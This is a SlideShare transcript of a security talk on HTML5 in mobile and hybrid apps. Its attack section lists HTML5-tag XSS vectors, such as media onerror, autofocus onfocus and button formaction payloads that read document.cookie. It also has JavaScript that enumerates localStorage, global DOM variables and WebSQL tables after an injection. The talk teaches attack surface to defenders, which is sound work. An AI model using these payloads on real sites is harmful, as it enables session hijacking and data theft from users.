SlideShare a Scribd company logo
1 of 50
© Blueinfy Solutions
HTML5 and Mobile
© Blueinfy Solutions
What is HTML5
• Enhancement to HTML 4.01
– with more tags
– API Support
– Functionality to support mobile devices
– More types for existing tags
• Does not mean old tags will not work
• Existing application can be converted by
changing “<!DOCTYPE html>” in first line
© Blueinfy Solutions
HTML5 in Mobile
• It is changing the game
• Apps are migrating to HTML5 and no need to
use native
• Web vs. Mobile
– Both can use HTML5
– No need to manage several code base
– HTML+CSS+JS only
– Server side services
© Blueinfy Solutions
Technology Vectors
© Blueinfy Solutions
What is running - where???
Presentation Layer
Business Layer
Data Access Layer
Authentication
Communication etc.
Runtime, Platform, Operating System Components
Server side
Components
Client side
Components
(Browser)
• HTML 5
• DOM
• XHR
• WebSocket
• Storage
• WebSQL
• Flash
• Flex
• AMF
• Silverlight • WCF
• XAML
• NET
• Storage
• JS
• Android
• iPhone/Pad
• Other
Mobile
© Blueinfy Solutions
HTML5 in nutshell - Specs
6
Source:
http://en.wikipedia.org/wiki/File:HTML5-APIs-and-related-technologies-by-Sergey-Mavrody.png
Source: http://html5demos.com/
Evolution going on by Web Hypertext Application Technology Working Group
(WHATWG)
© Blueinfy Solutions
Key HTML5 features for Mobile
• Offline web application support
• Web Storage
• GeoLocation API
• Canvas 2D Drawing
• Video and Audio streaming support
7
© Blueinfy Solutions
HTML5 features not supported on
Mobile
• Microdata
• 3D animation
• FileReader API
• IndexDB
• WebWorkers
8
© Blueinfy Solutions
API (Media, Geo etc.) & Messaging Plug-In
Modern Browser Model
HTML5 + CSS Silverlight Flash
Browser Native Network Services
XHR 1 & 2 WebSocket Plug-in Sockets
JavaScript DOM/Events Parser/Threads
SOP/CORS/Content-Sec Sandbox
Presentation
Process & Logic
Network
& Access
Core
Policies
StorageWebSQL
Mobile
Cache
FileSystem
© Blueinfy Solutions
Abusing HTML 5 Tags
• Various new tags and can be abused, may not
be filtered or validated
• Media tags
<video poster=javascript:alert(document.cookie)//
<audio><source onerror="javascript:alert(document.cookie)">
• Form tags
<form><button formaction="javascript:alert(document.cookie)">foo
<body oninput=alert(document.cookie)><input autofocus>
10
© Blueinfy Solutions
Accessing media tags
© Blueinfy Solutions
Moving/Touch
© Blueinfy Solutions
Login cookie
© Blueinfy Solutions
Profile
• Fetch through storage – cookie not needed…
© Blueinfy Solutions
WebSQL data
• Through JavaScript one can store information
on database.
• Example
15
© Blueinfy Solutions
One time fetch
© Blueinfy Solutions
Network calls
• HTML 5 provides WebSocket and XHR Level 2
calls
• It allows to make cross domains call and raw
socket capabilities
• It can be leveraged by JavaScript payload
• Malware or worm can use it to perform
several scanning tasks
17
© Blueinfy Solutions
Same Origin Policy (SOP)
• Browser’s sandbox
– Protocol, Host and Port should match
– It is possible to set document.domain to parent
domain if current context is child domain
– Top level domain (TLD) locking down helps in
sandboxing the context
18
© Blueinfy Solutions
Fetching Location
© Blueinfy Solutions
Location calls
© Blueinfy Solutions
Hybrid App
• Android
© Blueinfy Solutions
Integrating native to webview
• Hook your handlers to make it hybrid
• Interact with webview
© Blueinfy Solutions
Set permissions
• Manifest file
© Blueinfy Solutions
Loading Hybrid App
© Blueinfy Solutions
Slidebar type touch views
© Blueinfy Solutions
HTML5 Attacks
© Blueinfy Solutions
API (Media, Geo etc.) & Messaging Plug-In
XSS with HTML5 (tags, attributes and
events)
HTML5 + CSS Silverlight Flash
Browser Native Network Services
XHR 1 & 2 WebSocket Plug-in Sockets
JavaScript DOM/Events Parser/Threads
SOP/CORS Sandbox
Presentation
Process & Logic
Network
& Access
Core
Policies
StorageWebSQL
Mobile
Cache
© Blueinfy Solutions
HTML5 – Tags/Attributes/Events
• Tags – media (audio/video), canvas
(getImageData), menu, embed,
buttons/commands, Form control (keys)
• Attributes – form, submit, autofocus, sandbox,
manifest, rel etc.
• Events/Objects – Navigation (_self), Editable
content, Drag-Drop APIs, pushState (History)
etc.
28
© Blueinfy Solutions
XSS variants
• Media tags
• Examples
– <video><source onerror="javascript:alert(1)“>
– <video onerror="javascript:alert(1)"><source>
29
© Blueinfy Solutions
XSS variants
• Exploiting autofocus
– <input autofocus onfocus=alert(1)>
– <select autofocus onfocus=alert(1)>
– <textarea autofocus onfocus=alert(1)>
– <keygen autofocus onfocus=alert(1)>
30
© Blueinfy Solutions
XSS variants
• Form & Button etc.
– <form id="test" /><button form="test"
formaction="javascript:alert(1)">test
– <form><button
formaction="javascript:alert(1)">test
• Etc … and more …
– Nice HTML5 XSS cheat sheet
(http://html5sec.org/)
31
© Blueinfy Solutions
• Once have an entry point – game over!
Extraction through XSS
© Blueinfy Solutions
API (Media, Geo etc.) & Messaging Plug-In
Web Storage and DOM information
extraction
HTML5 + CSS Silverlight Flash
Browser Native Network Services
XHR 1 & 2 WebSocket Plug-in Sockets
JavaScript DOM/Events Parser/Threads
SOP/CORS Sandbox
Presentation
Process & Logic
Network
& Access
Core
Policies
StorageWebSQL
Mobile
Cache
© Blueinfy Solutions
Web Storage Extraction
• Browser has one place to store data – Cookie
(limited and replayed)
• HTML5 – Storage API provided (Local and
Session)
• Can hold global scoped variables
• http://www.w3.org/TR/webstorage/
34
© Blueinfy Solutions
Web Storage Extraction
• It is possible to steal them through XSS or via
JavaScript
• Session hijacking – HttpOnly of no use
• getItem and setItem calls
• XSS the box and scan through storage
© Blueinfy Solutions
Blind storage enumeration
if(localStorage.length){
console.log(localStorage.length)
for(i in localStorage){
console.log(i)
console.log(localStorage.getItem(i));
}
}
• Above code allows all storage variable
extraction
36
© Blueinfy Solutions
• HTML5 provides virtual file system with
filesystem APIs
– window.requestFileSystem =
window.requestFileSystem ||
window.webkitRequestFileSystem;
• It becomes a full blown local system for
application in sandbox
• It empowers application
File System Storage
© Blueinfy Solutions
• It provides temporary or permanent file
system
function init() {
window.requestFileSystem(window.TEMPORARY, 1024*1024,
function(filesystem) {
filesys = filesystem;
}, catcherror);
}
• App can have full filesystem in place now.
File System Storage
© Blueinfy Solutions
• Assuming app is creating profile on local
system
Sensitive information filesystem
© Blueinfy Solutions
DOM Storage
• Applications run with “rich” DOM
• JavaScript sets several variables and
parameters while loading – GLOBALS
• It has sensitive information and what if they
are GLOBAL and remains during the life of
application
• It can be retrieved with XSS
• HTTP request and response are going through
JavaScripts (XHR) – what about those vars?
© Blueinfy Solutions
Blind Enumeration
for(i in window){
obj=window[i];
try{
if(typeof(obj)=="string"){
console.log(i);
console.log(obj.toString());
}
}catch(ex){}
}
41
© Blueinfy Solutions
Global Sensitive Information Extraction from DOM
• HTML5 apps running on Single DOM
• Having several key global variables, objects
and array
– var arrayGlobals =
['my@email.com',"12141hewvsdr9321343423mjf
dvint","test.com"];
• Post DOM based exploitation possible and
harvesting all these values.
42
© Blueinfy Solutions
Global Sensitive Information Extraction from DOM
for(i in window){
obj=window[i];
if(obj!=null||obj!=undefined)
var type = typeof(obj);
if(type=="object"||type=="string")
{
console.log("Name:"+i)
try{
my=JSON.stringify(obj);
console.log(my)
}catch(ex){}
}
}
43
© Blueinfy Solutions
SQL Injection
• WebSQL is part of HTML 5 specification, it
provides SQL database to the browser itself.
• Allows one time data loading and offline
browsing capabilities.
• Causes security concern and potential
injection points.
• Methods and calls are possible
© Blueinfy Solutions
SQL Injection
• Through JavaScript one can harvest entire
local database.
• Example
© Blueinfy Solutions
Blind WebSQL Enumeration
• We need following to exploit
– Database object
– Table structure created on SQLite
– User table on which we need to run select query
46
© Blueinfy Solutions
Blind WebSQL Enumeration
var dbo;
var table;
var usertable;
for(i in window){
obj = window[i];
try{
if(obj.constructor.name=="Database"){
dbo = obj;
obj.transaction(function(tx){
tx.executeSql('SELECT name FROM sqlite_master WHERE type='table'',
[],function(tx,results){
table=results;
},null);
});
}
}catch(ex){}
}
if(table.rows.length>1)
usertable=table.rows.item(1).name;
47
© Blueinfy Solutions
Blind WebSQL Enumeration
• We will run through all objects and get object
where constructor is “Database”
• We will make Select query directly to
sqlite_master database
• We will grab 1st
table leaving webkit table on
0th
entry
48
© Blueinfy Solutions
Blind WebSQL Enumeration
49
© Blueinfy Solutions
Conclusion

More Related Content

What's hot

Automation In Android & iOS Application Review
Automation In Android & iOS 	Application Review�Automation In Android & iOS 	Application Review�
Automation In Android & iOS Application ReviewBlueinfy Solutions
 
Html5 Application Security
Html5 Application SecurityHtml5 Application Security
Html5 Application Securitychuckbt
 
CNIT 129S: Ch 3: Web Application Technologies
CNIT 129S: Ch 3: Web Application TechnologiesCNIT 129S: Ch 3: Web Application Technologies
CNIT 129S: Ch 3: Web Application TechnologiesSam Bowne
 
CNIT 129S - Ch 3: Web Application Technologies
CNIT 129S - Ch 3: Web Application TechnologiesCNIT 129S - Ch 3: Web Application Technologies
CNIT 129S - Ch 3: Web Application TechnologiesSam Bowne
 
Html5 localstorage attack vectors
Html5 localstorage attack vectorsHtml5 localstorage attack vectors
Html5 localstorage attack vectorsShreeraj Shah
 
Authentication: Cookies vs JWTs and why you’re doing it wrong
Authentication: Cookies vs JWTs and why you’re doing it wrongAuthentication: Cookies vs JWTs and why you’re doing it wrong
Authentication: Cookies vs JWTs and why you’re doing it wrongDerek Perkins
 
CNIT 129S: 13: Attacking Users: Other Techniques (Part 1 of 2)
CNIT 129S: 13: Attacking Users: Other Techniques (Part 1 of 2)CNIT 129S: 13: Attacking Users: Other Techniques (Part 1 of 2)
CNIT 129S: 13: Attacking Users: Other Techniques (Part 1 of 2)Sam Bowne
 
CNIT 129S: Securing Web Applications Ch 1-2
CNIT 129S: Securing Web Applications Ch 1-2CNIT 129S: Securing Web Applications Ch 1-2
CNIT 129S: Securing Web Applications Ch 1-2Sam Bowne
 
Build A Killer Client For Your REST+JSON API
Build A Killer Client For Your REST+JSON APIBuild A Killer Client For Your REST+JSON API
Build A Killer Client For Your REST+JSON APIStormpath
 
Securing Web Applications with Token Authentication
Securing Web Applications with Token AuthenticationSecuring Web Applications with Token Authentication
Securing Web Applications with Token AuthenticationStormpath
 
CNIT 129S: 13: Attacking Users: Other Techniques (Part 2 of 2)
CNIT 129S: 13: Attacking Users: Other Techniques (Part 2 of 2)CNIT 129S: 13: Attacking Users: Other Techniques (Part 2 of 2)
CNIT 129S: 13: Attacking Users: Other Techniques (Part 2 of 2)Sam Bowne
 
CNIT 129S: 12: Attacking Users: Cross-Site Scripting (Part 1 of 2)
CNIT 129S: 12: Attacking Users: Cross-Site Scripting (Part 1 of 2)CNIT 129S: 12: Attacking Users: Cross-Site Scripting (Part 1 of 2)
CNIT 129S: 12: Attacking Users: Cross-Site Scripting (Part 1 of 2)Sam Bowne
 
FIND ME IF YOU CAN – SMART FUZZING AND DISCOVERY
FIND ME IF YOU CAN – SMART FUZZING AND DISCOVERYFIND ME IF YOU CAN – SMART FUZZING AND DISCOVERY
FIND ME IF YOU CAN – SMART FUZZING AND DISCOVERYShreeraj Shah
 
CNIT 129S: 8: Attacking Access Controls
CNIT 129S: 8: Attacking Access ControlsCNIT 129S: 8: Attacking Access Controls
CNIT 129S: 8: Attacking Access ControlsSam Bowne
 
The Ultimate Guide to Mobile API Security
The Ultimate Guide to Mobile API SecurityThe Ultimate Guide to Mobile API Security
The Ultimate Guide to Mobile API SecurityStormpath
 
Secure Your REST API (The Right Way)
Secure Your REST API (The Right Way)Secure Your REST API (The Right Way)
Secure Your REST API (The Right Way)Stormpath
 
HTML5 Top 10 Threats - Silent Attacks and Stealth Exploits
HTML5 Top 10 Threats - Silent Attacks and Stealth ExploitsHTML5 Top 10 Threats - Silent Attacks and Stealth Exploits
HTML5 Top 10 Threats - Silent Attacks and Stealth ExploitsShreeraj Shah
 
Token Authentication for Java Applications
Token Authentication for Java ApplicationsToken Authentication for Java Applications
Token Authentication for Java ApplicationsStormpath
 

What's hot (20)

Automation In Android & iOS Application Review
Automation In Android & iOS 	Application Review�Automation In Android & iOS 	Application Review�
Automation In Android & iOS Application Review
 
Html5 Application Security
Html5 Application SecurityHtml5 Application Security
Html5 Application Security
 
CNIT 129S: Ch 3: Web Application Technologies
CNIT 129S: Ch 3: Web Application TechnologiesCNIT 129S: Ch 3: Web Application Technologies
CNIT 129S: Ch 3: Web Application Technologies
 
CNIT 129S - Ch 3: Web Application Technologies
CNIT 129S - Ch 3: Web Application TechnologiesCNIT 129S - Ch 3: Web Application Technologies
CNIT 129S - Ch 3: Web Application Technologies
 
Html5 localstorage attack vectors
Html5 localstorage attack vectorsHtml5 localstorage attack vectors
Html5 localstorage attack vectors
 
Authentication: Cookies vs JWTs and why you’re doing it wrong
Authentication: Cookies vs JWTs and why you’re doing it wrongAuthentication: Cookies vs JWTs and why you’re doing it wrong
Authentication: Cookies vs JWTs and why you’re doing it wrong
 
CNIT 129S: 13: Attacking Users: Other Techniques (Part 1 of 2)
CNIT 129S: 13: Attacking Users: Other Techniques (Part 1 of 2)CNIT 129S: 13: Attacking Users: Other Techniques (Part 1 of 2)
CNIT 129S: 13: Attacking Users: Other Techniques (Part 1 of 2)
 
CNIT 129S: Securing Web Applications Ch 1-2
CNIT 129S: Securing Web Applications Ch 1-2CNIT 129S: Securing Web Applications Ch 1-2
CNIT 129S: Securing Web Applications Ch 1-2
 
Build A Killer Client For Your REST+JSON API
Build A Killer Client For Your REST+JSON APIBuild A Killer Client For Your REST+JSON API
Build A Killer Client For Your REST+JSON API
 
Securing Web Applications with Token Authentication
Securing Web Applications with Token AuthenticationSecuring Web Applications with Token Authentication
Securing Web Applications with Token Authentication
 
CNIT 129S: 13: Attacking Users: Other Techniques (Part 2 of 2)
CNIT 129S: 13: Attacking Users: Other Techniques (Part 2 of 2)CNIT 129S: 13: Attacking Users: Other Techniques (Part 2 of 2)
CNIT 129S: 13: Attacking Users: Other Techniques (Part 2 of 2)
 
CNIT 129S: 12: Attacking Users: Cross-Site Scripting (Part 1 of 2)
CNIT 129S: 12: Attacking Users: Cross-Site Scripting (Part 1 of 2)CNIT 129S: 12: Attacking Users: Cross-Site Scripting (Part 1 of 2)
CNIT 129S: 12: Attacking Users: Cross-Site Scripting (Part 1 of 2)
 
Securing REST APIs
Securing REST APIsSecuring REST APIs
Securing REST APIs
 
Web Hacking
Web HackingWeb Hacking
Web Hacking
 
FIND ME IF YOU CAN – SMART FUZZING AND DISCOVERY
FIND ME IF YOU CAN – SMART FUZZING AND DISCOVERYFIND ME IF YOU CAN – SMART FUZZING AND DISCOVERY
FIND ME IF YOU CAN – SMART FUZZING AND DISCOVERY
 
CNIT 129S: 8: Attacking Access Controls
CNIT 129S: 8: Attacking Access ControlsCNIT 129S: 8: Attacking Access Controls
CNIT 129S: 8: Attacking Access Controls
 
The Ultimate Guide to Mobile API Security
The Ultimate Guide to Mobile API SecurityThe Ultimate Guide to Mobile API Security
The Ultimate Guide to Mobile API Security
 
Secure Your REST API (The Right Way)
Secure Your REST API (The Right Way)Secure Your REST API (The Right Way)
Secure Your REST API (The Right Way)
 
HTML5 Top 10 Threats - Silent Attacks and Stealth Exploits
HTML5 Top 10 Threats - Silent Attacks and Stealth ExploitsHTML5 Top 10 Threats - Silent Attacks and Stealth Exploits
HTML5 Top 10 Threats - Silent Attacks and Stealth Exploits
 
Token Authentication for Java Applications
Token Authentication for Java ApplicationsToken Authentication for Java Applications
Token Authentication for Java Applications
 

Viewers also liked

Geraldine O Reilly Under the Cover of Trees At The Doorway Gallery
Geraldine O Reilly Under the Cover of Trees At  The Doorway GalleryGeraldine O Reilly Under the Cover of Trees At  The Doorway Gallery
Geraldine O Reilly Under the Cover of Trees At The Doorway GalleryGer O Reilly
 
KatieLutzRezyTops
KatieLutzRezyTopsKatieLutzRezyTops
KatieLutzRezyTopsKatie Lutz
 
New base 989 special 19 january 2017 energy news
New base 989 special 19 january 2017 energy newsNew base 989 special 19 january 2017 energy news
New base 989 special 19 january 2017 energy newsKhaled Al Awadi
 
Jay parmar, Legal and Policy Director at BVLRA - Ultra Low Emissions Vehicl...
Jay parmar, Legal and Policy Director  at  BVLRA - Ultra Low Emissions Vehicl...Jay parmar, Legal and Policy Director  at  BVLRA - Ultra Low Emissions Vehicl...
Jay parmar, Legal and Policy Director at BVLRA - Ultra Low Emissions Vehicl...Global Business Events
 
Los paises americanos美洲国家
Los paises americanos美洲国家Los paises americanos美洲国家
Los paises americanos美洲国家Bellechina Lee
 
iWelcome case study: PostNL - Identity in the heart of transition to the cloud
iWelcome case study: PostNL - Identity in the heart of transition to the cloudiWelcome case study: PostNL - Identity in the heart of transition to the cloud
iWelcome case study: PostNL - Identity in the heart of transition to the cloudMaarten Stultjens
 
Jean-Pierre Senekal – The Impact of Self-Esteem on the Student Supervisor Wor...
Jean-Pierre Senekal – The Impact of Self-Esteem on the Student Supervisor Wor...Jean-Pierre Senekal – The Impact of Self-Esteem on the Student Supervisor Wor...
Jean-Pierre Senekal – The Impact of Self-Esteem on the Student Supervisor Wor...SACAP
 
Assignment principles of exporting afghanistan (talha n atta)
Assignment principles of exporting   afghanistan (talha n atta)Assignment principles of exporting   afghanistan (talha n atta)
Assignment principles of exporting afghanistan (talha n atta)dialme4
 
Ord. nº 1512 ssmo modifica registro sanitario bezafibrato ciprofibrato o ge...
Ord. nº 1512  ssmo  modifica registro sanitario bezafibrato ciprofibrato o ge...Ord. nº 1512  ssmo  modifica registro sanitario bezafibrato ciprofibrato o ge...
Ord. nº 1512 ssmo modifica registro sanitario bezafibrato ciprofibrato o ge...José Luis Contreras Muñoz
 
California History Social Science Frameworks
California History Social Science FrameworksCalifornia History Social Science Frameworks
California History Social Science FrameworksCarla Piper
 
DevOpsCon 2016 - Continuous Security Testing - Stephan Kaps
DevOpsCon 2016 - Continuous Security Testing - Stephan KapsDevOpsCon 2016 - Continuous Security Testing - Stephan Kaps
DevOpsCon 2016 - Continuous Security Testing - Stephan KapsStephan Kaps
 
Next Generation Web Attacks – HTML 5, DOM(L3) and XHR(L2)
Next Generation Web Attacks – HTML 5, DOM(L3) and XHR(L2)Next Generation Web Attacks – HTML 5, DOM(L3) and XHR(L2)
Next Generation Web Attacks – HTML 5, DOM(L3) and XHR(L2)Shreeraj Shah
 
Optimizing Your Application Security Program with Netsparker and ThreadFix
Optimizing Your Application Security Program with Netsparker and ThreadFixOptimizing Your Application Security Program with Netsparker and ThreadFix
Optimizing Your Application Security Program with Netsparker and ThreadFixDenim Group
 
PLM, BIM serveur : qui fait quoi, quand et comment ? Pratiques et technologie...
PLM, BIM serveur : qui fait quoi, quand et comment ? Pratiques et technologie...PLM, BIM serveur : qui fait quoi, quand et comment ? Pratiques et technologie...
PLM, BIM serveur : qui fait quoi, quand et comment ? Pratiques et technologie...Sylvain Kubicki
 

Viewers also liked (17)

Geraldine O Reilly Under the Cover of Trees At The Doorway Gallery
Geraldine O Reilly Under the Cover of Trees At  The Doorway GalleryGeraldine O Reilly Under the Cover of Trees At  The Doorway Gallery
Geraldine O Reilly Under the Cover of Trees At The Doorway Gallery
 
KatieLutzRezyTops
KatieLutzRezyTopsKatieLutzRezyTops
KatieLutzRezyTops
 
New base 989 special 19 january 2017 energy news
New base 989 special 19 january 2017 energy newsNew base 989 special 19 january 2017 energy news
New base 989 special 19 january 2017 energy news
 
Jay parmar, Legal and Policy Director at BVLRA - Ultra Low Emissions Vehicl...
Jay parmar, Legal and Policy Director  at  BVLRA - Ultra Low Emissions Vehicl...Jay parmar, Legal and Policy Director  at  BVLRA - Ultra Low Emissions Vehicl...
Jay parmar, Legal and Policy Director at BVLRA - Ultra Low Emissions Vehicl...
 
Los paises americanos美洲国家
Los paises americanos美洲国家Los paises americanos美洲国家
Los paises americanos美洲国家
 
Food images
Food imagesFood images
Food images
 
Udl 523
Udl 523Udl 523
Udl 523
 
Island Man
Island ManIsland Man
Island Man
 
iWelcome case study: PostNL - Identity in the heart of transition to the cloud
iWelcome case study: PostNL - Identity in the heart of transition to the cloudiWelcome case study: PostNL - Identity in the heart of transition to the cloud
iWelcome case study: PostNL - Identity in the heart of transition to the cloud
 
Jean-Pierre Senekal – The Impact of Self-Esteem on the Student Supervisor Wor...
Jean-Pierre Senekal – The Impact of Self-Esteem on the Student Supervisor Wor...Jean-Pierre Senekal – The Impact of Self-Esteem on the Student Supervisor Wor...
Jean-Pierre Senekal – The Impact of Self-Esteem on the Student Supervisor Wor...
 
Assignment principles of exporting afghanistan (talha n atta)
Assignment principles of exporting   afghanistan (talha n atta)Assignment principles of exporting   afghanistan (talha n atta)
Assignment principles of exporting afghanistan (talha n atta)
 
Ord. nº 1512 ssmo modifica registro sanitario bezafibrato ciprofibrato o ge...
Ord. nº 1512  ssmo  modifica registro sanitario bezafibrato ciprofibrato o ge...Ord. nº 1512  ssmo  modifica registro sanitario bezafibrato ciprofibrato o ge...
Ord. nº 1512 ssmo modifica registro sanitario bezafibrato ciprofibrato o ge...
 
California History Social Science Frameworks
California History Social Science FrameworksCalifornia History Social Science Frameworks
California History Social Science Frameworks
 
DevOpsCon 2016 - Continuous Security Testing - Stephan Kaps
DevOpsCon 2016 - Continuous Security Testing - Stephan KapsDevOpsCon 2016 - Continuous Security Testing - Stephan Kaps
DevOpsCon 2016 - Continuous Security Testing - Stephan Kaps
 
Next Generation Web Attacks – HTML 5, DOM(L3) and XHR(L2)
Next Generation Web Attacks – HTML 5, DOM(L3) and XHR(L2)Next Generation Web Attacks – HTML 5, DOM(L3) and XHR(L2)
Next Generation Web Attacks – HTML 5, DOM(L3) and XHR(L2)
 
Optimizing Your Application Security Program with Netsparker and ThreadFix
Optimizing Your Application Security Program with Netsparker and ThreadFixOptimizing Your Application Security Program with Netsparker and ThreadFix
Optimizing Your Application Security Program with Netsparker and ThreadFix
 
PLM, BIM serveur : qui fait quoi, quand et comment ? Pratiques et technologie...
PLM, BIM serveur : qui fait quoi, quand et comment ? Pratiques et technologie...PLM, BIM serveur : qui fait quoi, quand et comment ? Pratiques et technologie...
PLM, BIM serveur : qui fait quoi, quand et comment ? Pratiques et technologie...
 

Similar to Html5 on mobile

Mobile Web Development with HTML5
Mobile Web Development with HTML5Mobile Web Development with HTML5
Mobile Web Development with HTML5Roy Clarkson
 
Introduction to HTML5 & CSS3
Introduction to HTML5 & CSS3Introduction to HTML5 & CSS3
Introduction to HTML5 & CSS3Pravasini Sahoo
 
Codestrong 2012 breakout session introduction to mobile web and best practices
Codestrong 2012 breakout session   introduction to mobile web and best practicesCodestrong 2012 breakout session   introduction to mobile web and best practices
Codestrong 2012 breakout session introduction to mobile web and best practicesAxway Appcelerator
 
Silverlight 4 @ MSDN Live
Silverlight 4 @ MSDN LiveSilverlight 4 @ MSDN Live
Silverlight 4 @ MSDN Livegoeran
 
Mobile Web Applications using HTML5 [IndicThreads Mobile Application Develop...
Mobile Web Applications using HTML5  [IndicThreads Mobile Application Develop...Mobile Web Applications using HTML5  [IndicThreads Mobile Application Develop...
Mobile Web Applications using HTML5 [IndicThreads Mobile Application Develop...IndicThreads
 
The DevOps Journey
The DevOps JourneyThe DevOps Journey
The DevOps JourneyMicro Focus
 
Tips for Developing and Testing IBM HATS Applications
Tips for Developing and Testing IBM HATS ApplicationsTips for Developing and Testing IBM HATS Applications
Tips for Developing and Testing IBM HATS ApplicationsStrongback Consulting
 
Lesson learned from 3 years with hybrid apps
Lesson learned from 3 years with hybrid appsLesson learned from 3 years with hybrid apps
Lesson learned from 3 years with hybrid appsPatrik Malmquist
 
Tech io spa_angularjs_20130814_v0.9.5
Tech io spa_angularjs_20130814_v0.9.5Tech io spa_angularjs_20130814_v0.9.5
Tech io spa_angularjs_20130814_v0.9.5Ganesh Kondal
 
The Rich Standard: Getting Familiar with HTML5
The Rich Standard: Getting Familiar with HTML5The Rich Standard: Getting Familiar with HTML5
The Rich Standard: Getting Familiar with HTML5Todd Anglin
 
SAP (in)security: New and best
SAP (in)security: New and bestSAP (in)security: New and best
SAP (in)security: New and bestERPScan
 
Html5, Native and Platform based Mobile Applications
Html5, Native and Platform based Mobile ApplicationsHtml5, Native and Platform based Mobile Applications
Html5, Native and Platform based Mobile ApplicationsYoss Cohen
 
Cloud Computing in Systems Programming Curriculum
Cloud Computing in Systems Programming CurriculumCloud Computing in Systems Programming Curriculum
Cloud Computing in Systems Programming CurriculumSteven Miller
 
HTML5 on Mobile
HTML5 on MobileHTML5 on Mobile
HTML5 on MobileAdam Lu
 
Html5 on Mobile(For Developer)
Html5 on Mobile(For Developer)Html5 on Mobile(For Developer)
Html5 on Mobile(For Developer)Adam Lu
 
jQuery: The World's Most Popular JavaScript Library Comes to XPages
jQuery: The World's Most Popular JavaScript Library Comes to XPagesjQuery: The World's Most Popular JavaScript Library Comes to XPages
jQuery: The World's Most Popular JavaScript Library Comes to XPagesTeamstudio
 
Moving to the Client - JavaFX and HTML5
Moving to the Client - JavaFX and HTML5Moving to the Client - JavaFX and HTML5
Moving to the Client - JavaFX and HTML5Stephen Chin
 

Similar to Html5 on mobile (20)

Mobile Web Development with HTML5
Mobile Web Development with HTML5Mobile Web Development with HTML5
Mobile Web Development with HTML5
 
Introduction to HTML5 & CSS3
Introduction to HTML5 & CSS3Introduction to HTML5 & CSS3
Introduction to HTML5 & CSS3
 
Codestrong 2012 breakout session introduction to mobile web and best practices
Codestrong 2012 breakout session   introduction to mobile web and best practicesCodestrong 2012 breakout session   introduction to mobile web and best practices
Codestrong 2012 breakout session introduction to mobile web and best practices
 
Silverlight 4 @ MSDN Live
Silverlight 4 @ MSDN LiveSilverlight 4 @ MSDN Live
Silverlight 4 @ MSDN Live
 
Mobile Web Applications using HTML5 [IndicThreads Mobile Application Develop...
Mobile Web Applications using HTML5  [IndicThreads Mobile Application Develop...Mobile Web Applications using HTML5  [IndicThreads Mobile Application Develop...
Mobile Web Applications using HTML5 [IndicThreads Mobile Application Develop...
 
The DevOps Journey
The DevOps JourneyThe DevOps Journey
The DevOps Journey
 
Tips for Developing and Testing IBM HATS Applications
Tips for Developing and Testing IBM HATS ApplicationsTips for Developing and Testing IBM HATS Applications
Tips for Developing and Testing IBM HATS Applications
 
Lesson learned from 3 years with hybrid apps
Lesson learned from 3 years with hybrid appsLesson learned from 3 years with hybrid apps
Lesson learned from 3 years with hybrid apps
 
Tech io spa_angularjs_20130814_v0.9.5
Tech io spa_angularjs_20130814_v0.9.5Tech io spa_angularjs_20130814_v0.9.5
Tech io spa_angularjs_20130814_v0.9.5
 
The Rich Standard: Getting Familiar with HTML5
The Rich Standard: Getting Familiar with HTML5The Rich Standard: Getting Familiar with HTML5
The Rich Standard: Getting Familiar with HTML5
 
SAP (in)security: New and best
SAP (in)security: New and bestSAP (in)security: New and best
SAP (in)security: New and best
 
Html5, Native and Platform based Mobile Applications
Html5, Native and Platform based Mobile ApplicationsHtml5, Native and Platform based Mobile Applications
Html5, Native and Platform based Mobile Applications
 
Cloud Computing in Systems Programming Curriculum
Cloud Computing in Systems Programming CurriculumCloud Computing in Systems Programming Curriculum
Cloud Computing in Systems Programming Curriculum
 
HTML5 on Mobile
HTML5 on MobileHTML5 on Mobile
HTML5 on Mobile
 
Html5 on Mobile(For Developer)
Html5 on Mobile(For Developer)Html5 on Mobile(For Developer)
Html5 on Mobile(For Developer)
 
jQuery: The World's Most Popular JavaScript Library Comes to XPages
jQuery: The World's Most Popular JavaScript Library Comes to XPagesjQuery: The World's Most Popular JavaScript Library Comes to XPages
jQuery: The World's Most Popular JavaScript Library Comes to XPages
 
Moving to the Client - JavaFX and HTML5
Moving to the Client - JavaFX and HTML5Moving to the Client - JavaFX and HTML5
Moving to the Client - JavaFX and HTML5
 
Micro service architecture
Micro service architectureMicro service architecture
Micro service architecture
 
What is HTML 5?
What is HTML 5?What is HTML 5?
What is HTML 5?
 
Jsf2 html5-jazoon
Jsf2 html5-jazoonJsf2 html5-jazoon
Jsf2 html5-jazoon
 

More from Blueinfy Solutions

Mobile security chess board - attacks & defense
Mobile security chess board - attacks & defenseMobile security chess board - attacks & defense
Mobile security chess board - attacks & defenseBlueinfy Solutions
 
Web Services Hacking and Security
Web Services Hacking and SecurityWeb Services Hacking and Security
Web Services Hacking and SecurityBlueinfy Solutions
 
Source Code Analysis with SAST
Source Code Analysis with SASTSource Code Analysis with SAST
Source Code Analysis with SASTBlueinfy Solutions
 
XPATH, LDAP and Path Traversal Injection
XPATH, LDAP and Path Traversal InjectionXPATH, LDAP and Path Traversal Injection
XPATH, LDAP and Path Traversal InjectionBlueinfy Solutions
 
Assessment methodology and approach
Assessment methodology and approachAssessment methodology and approach
Assessment methodology and approachBlueinfy Solutions
 
HTTP protocol and Streams Security
HTTP protocol and Streams SecurityHTTP protocol and Streams Security
HTTP protocol and Streams SecurityBlueinfy Solutions
 
Advanced applications-architecture-threats
Advanced applications-architecture-threatsAdvanced applications-architecture-threats
Advanced applications-architecture-threatsBlueinfy Solutions
 

More from Blueinfy Solutions (12)

Mobile security chess board - attacks & defense
Mobile security chess board - attacks & defenseMobile security chess board - attacks & defense
Mobile security chess board - attacks & defense
 
Web Services Hacking and Security
Web Services Hacking and SecurityWeb Services Hacking and Security
Web Services Hacking and Security
 
Source Code Analysis with SAST
Source Code Analysis with SASTSource Code Analysis with SAST
Source Code Analysis with SAST
 
XSS - Attacks & Defense
XSS - Attacks & DefenseXSS - Attacks & Defense
XSS - Attacks & Defense
 
Defending against Injections
Defending against InjectionsDefending against Injections
Defending against Injections
 
XPATH, LDAP and Path Traversal Injection
XPATH, LDAP and Path Traversal InjectionXPATH, LDAP and Path Traversal Injection
XPATH, LDAP and Path Traversal Injection
 
Blind SQL Injection
Blind SQL InjectionBlind SQL Injection
Blind SQL Injection
 
Application fuzzing
Application fuzzingApplication fuzzing
Application fuzzing
 
SQL injection basics
SQL injection basicsSQL injection basics
SQL injection basics
 
Assessment methodology and approach
Assessment methodology and approachAssessment methodology and approach
Assessment methodology and approach
 
HTTP protocol and Streams Security
